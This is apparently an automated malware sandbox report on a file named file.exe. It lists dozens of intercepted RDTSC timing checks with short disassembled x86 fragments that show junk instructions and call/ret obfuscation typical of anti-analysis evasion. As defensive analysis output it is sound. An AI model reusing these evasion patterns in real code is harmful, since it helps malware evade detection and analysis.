Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F619FD second address: F61A06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61A06 second address: F61A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61DF7 second address: F61DFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61DFB second address: F61E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61E01 second address: F61E1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FD0FCEAC556h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007FD0FCEAC556h 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61E1A second address: F61E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007FD0FD11A2D3h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF9BC second address: EDF9C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF9C8 second address: EDF9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F62339 second address: F6233E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66C5C second address: F66C81 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD0FD11A2DBh 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FD0FD11A2C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F673AB second address: F673B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F673B7 second address: F673BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F673BD second address: F673C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F679EC second address: F679F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F679F2 second address: F67A14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FD0FCEAC568h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D124 second address: F6D130 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD0FD11A2CEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D130 second address: F6D13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28D37 second address: F28D41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD0FD11A2C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28D41 second address: F0FC27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC565h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FD0FCEAC558h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 xor dl, FFFFFFCFh 0x00000029 call dword ptr [ebp+122D36F7h] 0x0000002f push eax 0x00000030 push edx 0x00000031 push ebx 0x00000032 pushad 0x00000033 popad 0x00000034 jno 00007FD0FCEAC556h 0x0000003a pop ebx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29411 second address: F29415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29578 second address: F29597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD0FCEAC568h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29597 second address: F295B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD0FD11A2CEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F295B2 second address: F295BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FD0FCEAC556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F295BC second address: F29605 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jg 00007FD0FD11A2CEh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 jmp 00007FD0FD11A2D1h 0x0000001d pushad 0x0000001e push edx 0x0000001f pop edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F296D4 second address: F296EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0FCEAC566h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29D72 second address: F29D78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29D78 second address: F29D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A016 second address: F2A01C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A01C second address: F2A02B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A02B second address: F2A06A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0FD11A2C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edx, dword ptr [ebp+122D2C93h] 0x00000011 lea eax, dword ptr [ebp+1247CA8Bh] 0x00000017 xor dword ptr [ebp+122D2A0Bh], ecx 0x0000001d nop 0x0000001e jmp 00007FD0FD11A2D0h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD0FD11A2CCh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A06A second address: F2A070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C81B second address: F6C836 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C9A7 second address: F6C9FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC566h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007FD0FCEAC556h 0x00000010 jmp 00007FD0FCEAC568h 0x00000015 jmp 00007FD0FCEAC564h 0x0000001a push edx 0x0000001b pop edx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C9FB second address: F6CA0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2CCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CA0B second address: F6CA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007FD0FCEAC55Eh 0x0000000e pushad 0x0000000f popad 0x00000010 jl 00007FD0FCEAC556h 0x00000016 push ecx 0x00000017 js 00007FD0FCEAC556h 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jc 00007FD0FCEAC556h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CA31 second address: F6CA37 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CA37 second address: F6CA58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD0FCEAC562h 0x0000000c jc 00007FD0FCEAC556h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F703CF second address: F703F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD0FD11A2CEh 0x0000000e pop edi 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FD0FD11A2C6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F703F7 second address: F703FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9B7D second address: EE9B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9B83 second address: EE9BA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Eh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jp 00007FD0FCEAC556h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9BA0 second address: EE9BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9BA5 second address: EE9BAF instructions: 0x00000000 rdtsc 0x00000002 js 00007FD0FCEAC55Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9BAF second address: EE9BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007FD0FD11A2DFh 0x00000010 jp 00007FD0FD11A2D2h 0x00000016 js 00007FD0FD11A2C6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9BE6 second address: EE9BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9BEA second address: EE9C0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D1h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FD0FD11A2C6h 0x0000000f jnp 00007FD0FD11A2C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6506 second address: EE650A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7695F second address: F76963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76963 second address: F76967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76967 second address: F76989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FD11A2CBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007FD0FD11A2C6h 0x00000016 jo 00007FD0FD11A2C6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76989 second address: F7698F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F764FB second address: F7651A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FD11A2CCh 0x00000009 jmp 00007FD0FD11A2CEh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79209 second address: F79218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FCEAC55Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79218 second address: F7921E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7921E second address: F79228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79228 second address: F7922C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE14F5 second address: EE1503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jp 00007FD0FCEAC556h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79399 second address: F793A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E565 second address: F7E56E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E56E second address: F7E572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E7EF second address: F7E82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FD0FCEAC55Bh 0x00000010 jmp 00007FD0FCEAC55Eh 0x00000015 popad 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD0FCEAC565h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E987 second address: F7E9A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD0FD11A2D7h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E9A5 second address: F7E9AF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD0FCEAC55Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EADA second address: F7EAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD0FD11A2C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EAE6 second address: F7EB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD0FCEAC565h 0x0000000c push esi 0x0000000d jmp 00007FD0FCEAC569h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81A6F second address: F81A8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F862BC second address: F862C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F862C2 second address: F862C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F862C8 second address: F862F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD0FCEAC561h 0x0000000d jmp 00007FD0FCEAC560h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F862F1 second address: F862F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F862F5 second address: F86301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD0FCEAC556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86301 second address: F86307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86307 second address: F8630B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8630B second address: F86315 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0FD11A2C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29A12 second address: F29A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29A16 second address: F29A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29A1C second address: F29A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29A22 second address: F29A87 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0FD11A2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FD0FD11A2C8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 push 00000004h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007FD0FD11A2C8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 or edi, dword ptr [ebp+122D1C88h] 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29A87 second address: F29AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FCEAC564h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EE33 second address: F8EE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FD0FD11A2D7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EE57 second address: F8EE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D092 second address: F8D096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8DA9B second address: F8DAB7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD0FCEAC55Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD0FCEAC55Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8DFE1 second address: F8DFE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E5C0 second address: F8E5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FCEAC567h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FD0FCEAC558h 0x00000014 pushad 0x00000015 popad 0x00000016 jne 00007FD0FCEAC558h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EB49 second address: F8EB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007FD0FD11A2D4h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92B65 second address: F92B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92B69 second address: F92B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92CBC second address: F92CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 jnc 00007FD0FCEAC556h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9306E second address: F93072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93072 second address: F93076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93076 second address: F9307C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
